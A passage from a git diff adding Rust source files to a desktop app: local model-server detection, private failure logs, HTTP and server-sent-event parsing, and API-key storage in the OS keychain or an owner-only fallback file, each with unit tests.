a_chat_model_is_picked_over_an_embedding_model() { + let names = |l: &[&str]| l.iter().map(|s| s.to_string()).collect::>(); + assert_eq!(chat_model(&names(&["nomic-embed-text:latest", "llama3.2:3b"])).as_deref(), Some("llama3.2:3b")); + assert_eq!(chat_model(&names(&["mxbai-embed-large", "all-MiniLM-L6-v2", "qwen3:8b"])).as_deref(), Some("qwen3:8b")); + assert_eq!(chat_model(&names(&["nomic-embed-text"])).as_deref(), Some("nomic-embed-text"), "something is chosen"); + assert_eq!(chat_model(&[]), None); + let url = crate::tests::serve("200 OK", r#"{"object":"list","data":[{"id":"nomic-embed-text:latest"},{"id":"gemma3:4b"}]}"#); + assert_eq!(probe_local("Ollama", &url).unwrap().suggestion.model, "gemma3:4b"); + } + + /// #83: a server set up in OpenCode (here LM Studio on another port) is offered; hosted + /// services and broken settings aren't. + #[test] + fn servers_set_up_in_opencode_are_offered() { + let config = r#"{ + // LM Studio on its own port, as in #73 + "provider": { + "lmstudio": { "name": "LM Studio", "options": { "baseURL": "http://127.0.0.1:1235/v1/" } }, + "box": { "options": { "baseURL": "http://192.168.1.20:11434/v1" } }, + "cloud": { "name": "Hosted", "options": { "baseURL": "https://api.example.com/v1" } }, + "nourl": { "name": "No address" }, + }, + }"#; + assert_eq!( + opencode_servers(config), + [ + // In the order of their ids. + ("box from OpenCode".to_string(), "http://192.168.1.20:11434/v1".to_string()), + ("LM Studio from OpenCode".to_string(), "http://127.0.0.1:1235/v1".to_string()), + ] + ); + assert!(opencode_servers("not json {").is_empty()); + assert!(opencode_servers(r#"{"provider": []}"#).is_empty()); + let many: String = + (0..20).map(|i| format!(r#""p{i}": {{"options": {{"baseURL": "http://localhost:{}/v1"}}}}"#, 9000 + i)).collect::>().join(","); + assert_eq!(opencode_servers(&format!(r#"{{"provider": {{{many}}}}}"#)).len(), OPENCODE_MAX); + // Found the same way as a server at a usual address. + let url = crate::tests::serve("200 OK", r#"{"object":"list","data":[{"id":"gemma"}]}"#); + let found = opencode_servers(&format!(r#"{{"provider": {{"lmstudio": {{"name": "LM Studio", "options": {{"baseURL": "{url}"}}}}}}}}"#)); + let (label, base) = found.first().unwrap(); + assert_eq!(probe_local(label, base).unwrap().suggestion.name, "LM Studio from OpenCode (local)"); + } + + #[test] + fn only_addresses_on_this_computer_or_network_count() { + for url in [ + "http://localhost:1234/v1", + "http://127.0.0.1/v1", + "http://[::1]:8080", + "http://[fe80::1]:11434/v1", + "http://10.0.0.5:8000/v1", + "https://studio.local:1234/v1", + "http://172.20.0.2:1234", + "http://ollama:11434/v1", + "http://GPU-Box:8000", + "http://gpu.lan:1234/v1", + "http://studio.home.arpa/v1", + "http://llm.internal:8080", + ] { + assert!(on_this_network(url), "{url}"); + } + for url in [ + "https://api.openai.com/v1", + "http://8.8.8.8/v1", + "ftp://127.0.0.1", + "127.0.0.1:1234", + "", + "http://", + "https://lan.example.com", + "https://internal.example.com/v1", + ] { + assert!(!on_this_network(url), "{url}"); + } + } + + #[test] + fn opencode_settings_are_found_where_opencode_keeps_them() { + let d = tempfile::tempdir().unwrap(); + assert_eq!(opencode_config(|k| (k == "OPENCODE_CONFIG").then(|| "/x/oc.json".to_string()), None), Some(PathBuf::from("/x/oc.json"))); + assert_eq!(opencode_config(|_| None, Some(d.path().to_path_buf())), None, "nothing there"); + let dir = d.path().join(".config").join("opencode"); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("opencode.json"), "{}").unwrap(); + assert_eq!(opencode_config(|_| None, Some(d.path().to_path_buf())), Some(dir.join("opencode.json"))); + std::fs::write(dir.join("opencode.jsonc"), "{}").unwrap(); + assert_eq!(opencode_config(|_| None, Some(d.path().to_path_buf())), Some(dir.join("opencode.jsonc")), "jsonc first"); + let xdg = d.path().join(".config").to_string_lossy().into_owned(); + assert_eq!(opencode_config(|k| (k == "XDG_CONFIG_HOME").then(|| xdg.clone()), None), Some(dir.join("opencode.jsonc"))); + } + + #[test] + fn whole_scan_is_bounded() { + let t = Instant::now(); + let _ = detect_all(); + assert!(t.elapsed() < TOTAL + Duration::from_millis(1500)); + } +} diff --git a/desktop/crates/ai/src/failure_log.rs b/desktop/crates/ai/src/failure_log.rs new file mode 100644 index 0000000..2971047 --- /dev/null +++ b/desktop/crates/ai/src/failure_log.rs @@ -0,0 +1,153 @@ +//! Logs of failed runs, one file each, to open and inspect when something goes wrong: what ran, +//! what it printed, and what we made of it. They stay on this computer, readable only by its +//! owner. The person's message is never written, and secret-looking flags are masked +//! ([`craft_anything_platform::process::printable_command`]). + +use craft_anything_evidence::{ErrorCode, ToolError}; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::time::Duration; + +/// Logs kept; the oldest go first. +const KEEP: usize = 50; +/// The most of each output stream kept in a log. +const MAX_STREAM_BYTES: usize = 256 * 1024; + +static COUNTER: AtomicU64 = AtomicU64::new(0); + +/// The folder for failure logs inside a config folder. +pub fn dir_in(config_dir: &Path) -> PathBuf { + config_dir.join("logs") +} + +/// Everything known about a failed run. +#[derive(Debug, Clone, Default)] +pub struct Report { + /// What failed, in words. + pub what: String, + /// What ran, with the person's message left out. + pub command: String, + /// A command that tests the program without a message. + pub check: String, + /// What we made of it. + pub diagnosis: Option, + /// The error, when the program didn't run to an exit code. + pub error: Option, + pub cwd: Option, + pub exit_code: Option, + pub duration: Option, + pub stdout: Vec, + pub stderr: Vec, +} + +fn stream(name: &str, bytes: &[u8]) -> String { + if bytes.is_empty() { + return format!("--- {name}: empty ---\n"); + } + let start = bytes.len().saturating_sub(MAX_STREAM_BYTES); + let kept = String::from_utf8_lossy(bytes.get(start..).unwrap_or_default()); + let note = if start > 0 { format!(" (the last {} of {} bytes)", bytes.len() - start, bytes.len()) } else { String::new() }; + format!("--- {name}{note} ---\n{kept}\n") +} + +fn render(r: &Report, date: &str, time: &str) -> String { + let mut s = format!("REI Reverse Engineer {} failure log\nWhen: {date} {time} UTC\nWhat: {}\n", env!("CARGO_PKG_VERSION"), r.what); + if let Some(d) = &r.diagnosis { + s.push_str(&format!("Diagnosis: {d}\n")); + } + if let Some(e) = &r.error { + s.push_str(&format!("Error: {e}\n")); + } + if let Some(c) = r.exit_code { + s.push_str(&format!("Exit code: {c}\n")); + } + if let Some(d) = r.duration { + s.push_str(&format!("Ran for: {:.1} s\n", d.as_secs_f64())); + } + if let Some(c) = &r.cwd { + s.push_str(&format!("Working folder: {}\n", c.display())); + } + s.push_str(&format!("\nTo test the program:\n{}\n\nWhat ran (the message is left out):\n{}\n\n", r.check, r.command)); + s.push_str(&stream("stderr", &r.stderr)); + s.push('\n'); + s.push_str(&stream("stdout", &r.stdout)); + s +} + +/// Write a log into `dir`, creating it, and return its path. Removes the oldest beyond [`KEEP`]. +pub fn write(dir: &Path, report: &Report) -> Result { + std::fs::create_dir_all(dir).map_err(|e| ToolError::new(ErrorCode::FileError, format!("Couldn't create the log folder {}: {e}", dir.display())))?; + let (_, date, time) = craft_anything_engine::journal::now_utc(); + let n = COUNTER.fetch_add(1, Ordering::Relaxed); + let name = format!("agent-{date}-{}-{}-{n}.log", time.replace(':', ""), std::process::id()); + let path = dir.join(name); + craft_anything_platform::write_atomic_private(&path, render(report, &date, &time).as_bytes())?; + prune(dir, KEEP); + Ok(path) +} + +/// Failing to tidy up never fails the run; the next write tries again. +fn prune(dir: &Path, keep: usize) { + let Ok(rd) = std::fs::read_dir(dir) else { return }; + let mut logs: Vec = rd + .flatten() + .map(|e| e.path()) + .filter(|p| p.extension().is_some_and(|x| x == "log") && p.file_name().is_some_and(|n| n.to_string_lossy().starts_with("agent-"))) + .collect(); + // Names start with the date and time, so they sort oldest first. + logs.sort(); + for old in logs.iter().take(logs.len().saturating_sub(keep)) { + if let Err(e) = std::fs::remove_file(old) { + log::warn!("couldn't remove the old log {}: {e}", old.display()); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_log_holds_what_is_known_and_is_private() { + let dir = tempfile::tempdir().unwrap(); + let report = Report { + what: "X".into(), + command: "x --go".into(), + check: "x --version".into(), + exit_code: Some(2), + stderr: b"boom".to_vec(), + ..Default::default() + }; + let path = write(&dir.path().join("logs"), &report).unwrap(); + let text = std::fs::read_to_string(&path).unwrap(); + for part in ["What: X", "Exit code: 2", "x --go", "x --version", "boom", "--- stdout: empty ---"] { + assert!(text.contains(part), "{part}: {text}"); + } + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt as _; + assert_eq!(std::fs::metadata(&path).unwrap().permissions().mode() & 0o777, 0o600); + } + } + + #[test] + fn long_output_keeps_its_end_and_says_so() { + let mut out = vec![b'a'; MAX_STREAM_BYTES + 10]; + out.extend_from_slice(b"the end"); + let s = stream("stderr", &out); + assert!(s.ends_with("the end\n") && s.contains("the last") && s.len() < MAX_STREAM_BYTES + 100); + } + + #[test] + fn old_logs_are_removed_and_other_files_left_alone() { + let dir = tempfile::tempdir().unwrap(); + for i in 0..5 { + std::fs::write(dir.path().join(format!("agent-2026-01-0{i}.log")), "").unwrap(); + } + std::fs::write(dir.path().join("notes.log"), "").unwrap(); + prune(dir.path(), 2); + let mut left: Vec = std::fs::read_dir(dir.path()).unwrap().flatten().map(|e| e.file_name().to_string_lossy().into_owned()).collect(); + left.sort(); + assert_eq!(left, ["agent-2026-01-03.log", "agent-2026-01-04.log", "notes.log"]); + } +} diff --git a/desktop/crates/ai/src/http.rs b/desktop/crates/ai/src/http.rs new file mode 100644 index 0000000..f57d54b --- /dev/null +++ b/desktop/crates/ai/src/http.rs @@ -0,0 +1,197 @@ +//! HTTP plumbing: one ureq agent (rustls), JSON POST with streamed responses, and an SSE parser. + +use craft_anything_evidence::{ErrorCode, ToolError}; +use serde_json::Value; +use std::io::{BufRead, BufReader, Read}; +use std::time::Duration; + +/// Generic, non-identifying User-Agent. +pub const USER_AGENT: &str = "CraftAnything-dev"; + +/// An agent for model calls: generous body time (streams can run for many minutes), bounded +/// connect and first-byte waits. +pub fn agent(connect: Duration, first_byte: Duration, body: Duration) -> ureq::Agent { + ureq::Agent::config_builder() + .http_status_as_error(false) + .user_agent(USER_AGENT) + .timeout_connect(Some(connect)) + .timeout_recv_response(Some(first_byte)) + .timeout_recv_body(Some(body)) + .build() + .new_agent() +} + +/// The agent for streamed model turns. +pub fn stream_agent() -> ureq::Agent { + agent(Duration::from_secs(15), Duration::from_secs(300), Duration::from_secs(60 * 60)) +} + +/// The agent for quick calls (model lists, probes). +pub fn quick_agent(total: Duration) -> ureq::Agent { + agent(total, total, total) +} + +fn net_error(what: &str, e: ureq::Error) -> ToolError { + let timeout = matches!(e, ureq::Error::Timeout(_)); + let code = if timeout { ErrorCode::TimedOut } else { ErrorCode::EngineMissing }; + ToolError::new(code, format!("Couldn't reach {what}: {e}")) + .with_remediation("Check your internet connection or that the server is running, then try again.") +} + +/// Turn a non-2xx response into a plain error. Keys are never echoed. +pub fn status_error(what: &str, status: u16, body: &str) -> ToolError { + let detail: String = serde_json::from_str::(body) + .ok() + .and_then(|v| { + v.pointer("/error/message").and_then(Value::as_str).map(str::to_string).or_else(|| v.get("error").and_then(Value::as_str).map(str::to_string)) + }) + .unwrap_or_else(|| body.chars().take(300).collect()); + let (code, remediation) = match status { + 401 | 403 => (ErrorCode::NoPermission, "The API key was rejected. Check it in Settings → AI."), + 404 => (ErrorCode::BadSettings, "The model or address wasn't found. Check the model name and base URL."), + 408 | 504 => (ErrorCode::TimedOut, "The service took too long. Try again."), + 429 => (ErrorCode::OverLimit, "You've hit a rate or spending limit. Wait a moment or check your plan."), + 500..=599 => (ErrorCode::EngineMissing, "The service is having trouble. Try again soon, or use another backend."), + _ => (ErrorCode::BadInput, "The request was rejected; see the message."), + }; + ToolError::new(code, format!("{what} answered {status}: {detail}")).with_remediation(remediation).with_details(serde_json::json!({"status": status})) +} + +/// POST JSON and return a reader over the (streamed) body; errors on non-2xx. +pub fn post_json(agent: &ureq::Agent, what: &str, url: &str, headers: &[(&str, String)], body: &Value) -> Result, ToolError> { + let mut req = agent.post(url).header("content-type", "application/json"); + for (k, v) in headers { + req = req.header(*k, v.as_str()); + } + let resp = req.send(body.to_string()).map_err(|e| net_error(what, e))?; + let status = resp.status().as_u16(); + if !(200..300).contains(&status) { + let text = resp.into_body().read_to_string().unwrap_or_default(); + return Err(status_error(what, status, &text)); + } + Ok(Box::new(resp.into_body().into_reader())) +} + +/// GET JSON. +pub fn get_json(agent: &ureq::Agent, what: &str, url: &str, headers: &[(&str, String)]) -> Result { + let mut req = agent.get(url); + for (k, v) in headers { + req = req.header(*k, v.as_str()); + } + let resp = req.call().map_err(|e| net_error(what, e))?; + let status = resp.status().as_u16(); + let text = resp.into_body().read_to_string().map_err(|e| net_error(what, e))?; + if !(200..300).contains(&status) { + return Err(status_error(what, status, &text)); + } + serde_json::from_str(&text).map_err(|e| ToolError::new(ErrorCode::GarbledOutput, format!("{what} sent JSON we couldn't read: {e}"))) +} + +/// One server-sent event. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct SseEvent { + pub event: Option, + pub data: String, +} + +/// Longest single SSE line we accept (protects memory against a hostile server). +const MAX_SSE_LINE: usize = 8 * 1024 * 1024; + +/// Parse an SSE stream, calling `f` for each event. `f` returns false to stop early. +/// Handles CRLF, multi-line `data:`, comments (`:`), and a final event without a blank line. +pub fn parse_sse(r: R, mut f: impl FnMut(SseEvent) -> Result) -> Result<(), ToolError> { + let mut reader = BufReader::new(r); + let mut cur = SseEvent::default(); + let mut has_data = false; + let mut line = Vec::new(); + loop { + line.clear(); + let n = (&mut reader) + .take(MAX_SSE_LINE as u64) + .read_until(b'\n', &mut line) + .map_err(|e| ToolError::new(ErrorCode::EngineMissing, format!("The stream broke off: {e}")))?; + if n == 0 { + break; + } + if line.last() != Some(&b'\n') && line.len() >= MAX_SSE_LINE { + return Err(ToolError::new(ErrorCode::OverLimit, "The stream sent a line that was too long.")); + } + let text = String::from_utf8_lossy(&line); + let l = text.trim_end_matches(['\n', '\r']); + if l.is_empty() { + if has_data || cur.event.is_some() { + let ev = std::mem::take(&mut cur); + has_data = false; + if !f(ev)? { + return Ok(()); + } + } + continue; + } + if l.starts_with(':') { + continue; + } + let (field, value) = match l.split_once(':') { + Some((k, v)) => (k, v.strip_prefix(' ').unwrap_or(v)), + None => (l, ""), + }; + match field { + "event" => cur.event = Some(value.to_string()), + "data" => { + if has_data { + cur.data.push('\n'); + } + cur.data.push_str(value); + has_data = true; + } + _ => {} + } + } + if has_data { + f(cur)?; + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn collect(s: &str) -> Vec { + let mut v = Vec::new(); + parse_sse(s.as_bytes(), |e| { + v.push(e); + Ok(true) + }) + .unwrap(); + v + } + + #[test] + fn sse_edge_cases() { + let evs = collect(": comment\r\nevent: a\r\ndata: 1\r\ndata: 2\r\n\r\ndata:x\n\n\n\ndata: tail"); + assert_eq!(evs.len(), 3); + assert_eq!(evs[0], SseEvent { event: Some("a".into()), data: "1\n2".into() }); + assert_eq!(evs[1].data, "x"); + assert_eq!(evs[2].data, "tail"); + } + + #[test] + fn early_stop() { + let mut n = 0; + parse_sse("data: 1\n\ndata: 2\n\n".as_bytes(), |_| { + n += 1; + Ok(false) + }) + .unwrap(); + assert_eq!(n, 1); + } + + #[test] + fn status_errors_are_plain() { + let e = status_error("Anthropic", 401, r#"{"error":{"message":"invalid x-api-key"}}"#); + assert_eq!(e.code, ErrorCode::NoPermission); + assert!(e.message.contains("invalid x-api-key")); + assert_eq!(status_error("x", 429, "slow down").code, ErrorCode::OverLimit); + } +} diff --git a/desktop/crates/ai/src/key_tools.rs b/desktop/crates/ai/src/key_tools.rs new file mode 100644 index 0000000..f21bad4 --- /dev/null +++ b/desktop/crates/ai/src/key_tools.rs @@ -0,0 +1,153 @@ +//! Asset providers' keys (fal.ai today) for generated game assets as tools, so they can be set up +//! without the app. Each provider has its own key, in the system keychain (or the private key +//! file); a key is never returned, and the journal redacts `api_key` like every secret-named field. + +use crate::AiHub; +use craft_anything_engine::EngineRef; +use craft_anything_engine::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_engines::assets::{AssetProvider, AssetProviders, fal}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::{Value, json}; +use std::sync::Arc; + +pub fn specs() -> Vec { + let spec = |id, title, summary, beginner, effects, input_schema, run| ToolSpec { + id, + title, + summary, + beginner, + toolset: Toolset::Setup, + effects, + requires: Requires::Nothing, + input_schema, + run, + }; + vec![ + spec( + "assets_key_status", + "Is an asset key set up?", + "Whether each asset provider (fal.ai today) has a key for generated pictures and 3D models, stored or in its environment variable. `stored` answers for `provider` (default fal). Keys themselves are never shown.", + "Shows whether generated art is set up.", + Effects::READ_ONLY, + schema_of::, + assets_key_status, + ), + spec( + "assets_key_set", + "Save an asset key", + "Store an asset provider's key (`provider`, default fal) for generated pictures and 3D models in the system keychain (or the private key file). It's never shown again or written to logs.", + "Saves your key for generated art.", + Effects::WRITES_FILESYSTEM, + schema_of::, + assets_key_set, + ), + spec( + "assets_key_remove", + "Remove an asset key", + "Remove an asset provider's stored key (`provider`, default fal).", + "Removes your key for generated art.", + Effects::WRITES_FILESYSTEM, + schema_of::, + assets_key_remove, + ), + ] +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ProviderParams { + /// The asset provider's id (default `fal`). + #[serde(default)] + pub provider: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SetParams { + /// The provider's key. + pub api_key: String, + /// The asset provider's id (default `fal`). + #[serde(default)] + pub provider: Option, +} + +/// The session's asset providers (a fork's or a test's, else the built-in ones). +fn providers(ctx: &Ctx<'_>) -> AssetProviders { + ctx.session.ext.get::().map(|p| p.as_ref().clone()).unwrap_or_default() +} + +/// The provider named (default fal), refused when there's no such provider. +fn provider(ctx: &Ctx<'_>, id: Option<&str>) -> Result, ToolError> { + let all = providers(ctx); + let id = id.map(str::trim).filter(|s| !s.is_empty()).unwrap_or(fal::ID); + all.get(id).ok_or_else(|| { + ToolError::invalid(format!("There's no asset provider called {id:?}.")).with_remediation(format!("Use one of: {}.", all.ids().join(", "))) + }) +} + +fn hub(ctx: &Ctx<'_>) -> Result { + let engine = ctx + .session + .ext + .get::() + .and_then(|r| r.0.upgrade()) + .ok_or_else(|| ToolError::new(ErrorCode::FeatureMissing, "Keys aren't available in this engine."))?; + Ok(AiHub::new(engine)) +} + +fn assets_key_status(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ProviderParams = parse_params(params)?; + let asked = provider(ctx, p.provider.as_deref())?; + let (hub, all) = (hub(ctx)?, providers(ctx)); + let each: Vec = all + .ids() + .into_iter() + .filter_map(|id| all.get(id)) + .map(|p| json!({"provider": p.id(), "name": p.name(), "stored": hub.has_asset_key(&all, p.id())})) + .collect(); + Ok(ToolOutput::Value(json!({"provider": asked.id(), "stored": hub.has_asset_key(&all, asked.id()), "providers": each}))) +} + +fn assets_key_set(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SetParams = parse_params(params)?; + let to = provider(ctx, p.provider.as_deref())?; + let key = p.api_key.trim(); + if key.is_empty() || key.len() > 512 || key.chars().any(char::is_whitespace) { + return Err(ToolError::invalid(format!("That doesn't look like a {} key.", to.name())).with_remediation("Copy the key from the provider's dashboard.")); + } + let stored_in = hub(ctx)?.set_asset_key(to.id(), key)?; + Ok(ToolOutput::Value(json!({"provider": to.id(), "stored": true, "stored_in": stored_in}))) +} + +fn assets_key_remove(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ProviderParams = parse_params(params)?; + let from = provider(ctx, p.provider.as_deref())?; + hub(ctx)?.remove_asset_key(from.id())?; + Ok(ToolOutput::Value(json!({"provider": from.id(), "stored": false}))) +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_engine::{CallOptions, Caller, Engine}; + + // Nothing here stores or reads a real key (tests never touch the machine's keychain). + #[test] + fn a_key_that_doesnt_look_like_one_is_refused_before_anything_is_stored() { + let e = Engine::shared(craft_anything_engine::testing::session(), specs()); + for bad in ["", "has a space", &"x".repeat(600)] { + let err = e.call("assets_key_set", json!({"api_key": bad}), CallOptions::new(Caller::Cli)).unwrap_err(); + assert_eq!(err.code, ErrorCode::BadInput, "{bad:?}"); + } + assert!(craft_anything_engine::journal::bounded(&json!({"api_key": "fal-secret"})).to_string().contains("(redacted)")); + // A provider that doesn't exist is refused before the keychain is touched. + let set = json!({"api_key": "k-1", "provider": "nope"}); + let other = json!({"provider": "nope"}); + for (id, params) in [("assets_key_set", &set), ("assets_key_status", &other), ("assets_key_remove", &other)] { + let err = e.call(id, params.clone(), CallOptions::new(Caller::Cli)).unwrap_err(); + assert!(err.message.contains("no asset provider called \"nope\"") && err.remediation.unwrap_or_default().contains("fal"), "{id}"); + } + } +} diff --git a/desktop/crates/ai/src/keys.rs b/desktop/crates/ai/src/keys.rs new file mode 100644 index 0000000..68f823b --- /dev/null +++ b/desktop/crates/ai/src/keys.rs @@ -0,0 +1,277 @@ +//! API keys: the OS keychain first, then a clearly labelled owner-only fallback file, then the +//! usual environment variables. Keys are never logged or written to project files. + +use crate::BackendKind; +use craft_anything_engine::tools::asset_tools::AssetKeys; +use craft_anything_engines::assets::{AssetProvider, AssetProviders}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use std::path::PathBuf; +use std::time::Duration; + +/// Service name in the OS keychain. +pub const SERVICE: &str = "com.rootcastle.rei"; +/// Set to `1` to skip the OS keychain (tests, headless servers). +pub const NO_KEYCHAIN_ENV: &str = "CRAFT_ANYTHING_NO_KEYCHAIN"; +/// The keychain can block (a locked desktop keyring); never wait longer than this. +const KEYCHAIN_TIMEOUT: Duration = Duration::from_secs(3); + +const FILE_HEADER: &str = "# REI Reverse Engineer AI keys: FALLBACK STORE.\n# These keys are here because no OS keychain was available when they were saved.\n# This file is readable only by you (0600). Delete a line to forget a key.\n"; + +/// Where the fal.ai key for generated game assets is stored. +pub const FAL_KEY: &str = "assets:fal"; + +/// Where an asset provider's key is stored (`assets:`). +pub fn asset_key_name(provider: &str) -> String { + format!("assets:{provider}") +} + +/// An asset provider's key: stored, else the provider's own environment variable. +pub fn asset_key(store: &KeyStore, provider: &dyn AssetProvider) -> Option { + store.get(&asset_key_name(provider.id())).or_else(|| provider.key_env().and_then(|v| std::env::var(v).ok())).filter(|k| !k.trim().is_empty()) +} + +/// Every provider's key that is set up, for the builder's tool server. +pub fn asset_keys(store: &KeyStore, providers: &AssetProviders) -> AssetKeys { + AssetKeys( + providers.ids().into_iter().filter_map(|id| providers.get(id)).filter_map(|p| asset_key(store, p.as_ref()).map(|k| (p.id().to_string(), k))).collect(), + ) +} + +/// The fal.ai key for game assets: stored, else fal's environment variable. +pub fn fal_key(store: &KeyStore) -> Option { + asset_key(store, &craft_anything_engines::assets::fal::Fal::default()) +} + +/// The environment variable conventionally holding a key for this kind. +pub fn env_var(kind: BackendKind) -> Option<&'static str> { + match kind { + BackendKind::Anthropic => Some("ANTHROPIC_API_KEY"), + BackendKind::Openai => Some("OPENAI_API_KEY"), + BackendKind::Openrouter => Some("OPENROUTER_API_KEY"), + BackendKind::OpenaiCompatible | BackendKind::AgentCli => None, + } +} + +/// Hosted presets never borrow another provider's environment credential. +pub fn env_var_for_backend(backend: &str, kind: BackendKind) -> Option<&'static str> { + if kind == BackendKind::OpenaiCompatible && backend == crate::connections::EXPERIENTIAL_NAME { + Some(crate::connections::EXPERIENTIAL_KEY) + } else { + env_var(kind) + } +} + +/// Where keys live. +#[derive(Debug, Clone)] +pub struct KeyStore { + file: PathBuf, + use_keychain: bool, +} + +impl KeyStore { + /// The default store: keychain + `/ai-keys.toml`. + pub fn system() -> Self { + let no_chain = std::env::var(NO_KEYCHAIN_ENV).is_ok_and(|v| v == "1"); + KeyStore { file: craft_anything_engine::settings::config_dir().join("ai-keys.toml"), use_keychain: !no_chain } + } + + /// A file-only store (tests). + pub fn file_only(file: PathBuf) -> Self { + KeyStore { file, use_keychain: false } + } + + fn read_file(&self) -> toml::Table { + std::fs::read_to_string(&self.file).ok().and_then(|t| toml::from_str(&t).ok()).unwrap_or_default() + } + + /// The file's keys before changing them: none when it doesn't exist, an error when it can't be + /// read, so a save never replaces a file it couldn't read and drops the other keys (#262). + fn read_file_to_change(&self) -> Result { + let unreadable = |why: String| { + ToolError::new(ErrorCode::FileError, format!("Couldn't read the key file {}: {why}", self.file.display())) + .with_remediation("Fix or move that file (it was left untouched), then save the key again.") + }; + match std::fs::read(&self.file) { + Ok(b) => { + let text = String::from_utf8(b).map_err(|_| unreadable("it isn't valid UTF-8".into()))?; + toml::from_str(&text).map_err(|e| unreadable(e.to_string())) + } + Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(toml::Table::new()), + Err(e) => Err(unreadable(e.to_string())), + } + } + + fn write_file(&self, t: &toml::Table) -> Result<(), ToolError> { + let body = toml::to_string(t).map_err(|e| ToolError::internal(e.to_string()))?; + craft_anything_platform::write_atomic_private(&self.file, format!("{FILE_HEADER}{body}").as_bytes()) + } + + /// The stored key for a backend (keychain, then fallback file). + pub fn get(&self, backend: &str) -> Option { + if self.use_keychain + && let Some(k) = keychain::get(backend) + { + return Some(k); + } + self.read_file().get(backend).and_then(|v| v.as_str()).map(str::to_string).filter(|k| !k.is_empty()) + } + + /// The key to use: stored, else the kind's environment variable. + pub fn resolve(&self, backend: &str, kind: BackendKind) -> Option { + self.get(backend).or_else(|| env_var_for_backend(backend, kind).and_then(|v| std::env::var(v).ok()).filter(|k| !k.trim().is_empty())) + } + + /// Save a key. Returns where it went: `"keychain"` or `"file"`. + pub fn set(&self, backend: &str, key: &str) -> Result<&'static str, ToolError> { + if key.trim().is_empty() { + return Err(ToolError::invalid("The key is empty.")); + } + if self.use_keychain && keychain::set(backend, key) { + // Don't leave a stale copy in the fallback file (the keychain's copy is read first). + if let Ok(mut t) = self.read_file_to_change() + && t.remove(backend).is_some() + { + self.write_file(&t)?; + } + return Ok("keychain"); + } + let mut t = self.read_file_to_change()?; + t.insert(backend.to_string(), toml::Value::String(key.to_string())); + self.write_file(&t).map_err(|e| ToolError::new(ErrorCode::NoPermission, format!("Couldn't save the key: {}", e.message)))?; + Ok("file") + } + + pub fn delete(&self, backend: &str) -> Result<(), ToolError> { + if self.use_keychain { + keychain::delete(backend); + } + let mut t = self.read_file_to_change()?; + if t.remove(backend).is_some() { + self.write_file(&t)?; + } + Ok(()) + } +} + +/// Run a keychain operation on a helper thread with a deadline. +fn bounded(f: impl FnOnce() -> Option + Send + 'static) -> Option { + let (tx, rx) = std::sync::mpsc::channel(); + std::thread::Builder::new() + .name("keychain".into()) + .spawn(move || { + let _ = tx.send(f()); + }) + .ok()?; + rx.recv_timeout(KEYCHAIN_TIMEOUT).ok().flatten() +} + +#[cfg(any(target_os = "linux", target_os = "macos", windows))] +mod keychain { + use super::{SERVICE, bounded}; + + pub fn get(backend: &str) -> Option { + let b = backend.to_string(); + bounded(move || keyring::Entry::new(SERVICE, &b).ok()?.get_password().ok()) + } + + pub fn set(backend: &str, key: &str) -> bool { + let (b, k) = (backend.to_string(), key.to_string()); + bounded(move || keyring::Entry::new(SERVICE, &b).ok()?.set_password(&k).ok()).is_some() + } + + pub fn delete(backend: &str) { + let b = backend.to_string(); + let _ = bounded(move || keyring::Entry::new(SERVICE, &b).ok()?.delete_credential().ok()); + } +} + +#[cfg(not(any(target_os = "linux", target_os = "macos", windows)))] +mod keychain { + pub fn get(_: &str) -> Option { + let _ = super::bounded(|| None::<()>); + None + } + pub fn set(_: &str, _: &str) -> bool { + false + } + pub fn delete(_: &str) {} +} + +#[cfg(test)] +mod tests { + use super::*; + + /// A second provider with no environment variable, so nothing here reads the real one. + struct Other; + + impl AssetProvider for Other { + fn id(&self) -> &'static str { + "other" + } + fn name(&self) -> &'static str { + "Other" + } + fn generate(&self, _key: &str, _req: &craft_anything_engines::assets::AssetRequest) -> Result { + Err(ToolError::invalid("not here")) + } + } + + #[test] + fn each_asset_provider_has_its_own_key() { + let d = tempfile::tempdir().unwrap(); + let s = KeyStore::file_only(d.path().join("keys.toml")); + let mut providers = AssetProviders::built_in(); + providers.register(std::sync::Arc::new(Other)); + s.set(&asset_key_name("other"), "o-1").unwrap(); + let keys = asset_keys(&s, &providers); + assert_eq!(keys.get("other"), Some("o-1")); + // fal's is stored where it always was, apart from the other provider's. + assert_eq!(asset_key_name("fal"), FAL_KEY); + s.set(FAL_KEY, "f-1").unwrap(); + let keys = asset_keys(&s, &providers); + assert_eq!((keys.get("fal"), keys.get("other")), (Some("f-1"), Some("o-1"))); + s.delete(&asset_key_name("other")).unwrap(); + assert_eq!(asset_keys(&s, &providers).get("other"), None); + assert_eq!(fal_key(&s).as_deref(), Some("f-1")); + } + + /// #262: a key file that can't be read is left as it is, with every other key in it. + #[test] + fn an_unreadable_key_file_is_never_replaced() { + let dir = tempfile::tempdir().unwrap(); + let file = dir.path().join("ai-keys.toml"); + let s = KeyStore::file_only(file.clone()); + let valid = b"FakeBackend = \"sk-test-backend\"\n\"assets:fal\" = \"sk-test-old\"\n".to_vec(); + let broken_toml = b"FakeBackend = \"sk-test-backend\"\n\"assets:fal\" = \"sk-test-old\n".to_vec(); + let broken_utf8 = [valid.clone(), b"\xff".to_vec()].concat(); + for bad in [broken_toml, broken_utf8] { + std::fs::write(&file, &bad).unwrap(); + let e = s.set(FAL_KEY, "sk-test-new").unwrap_err(); + assert!(e.message.contains("Couldn't read the key file"), "{e:?}"); + assert!(s.delete("FakeBackend").is_err()); + 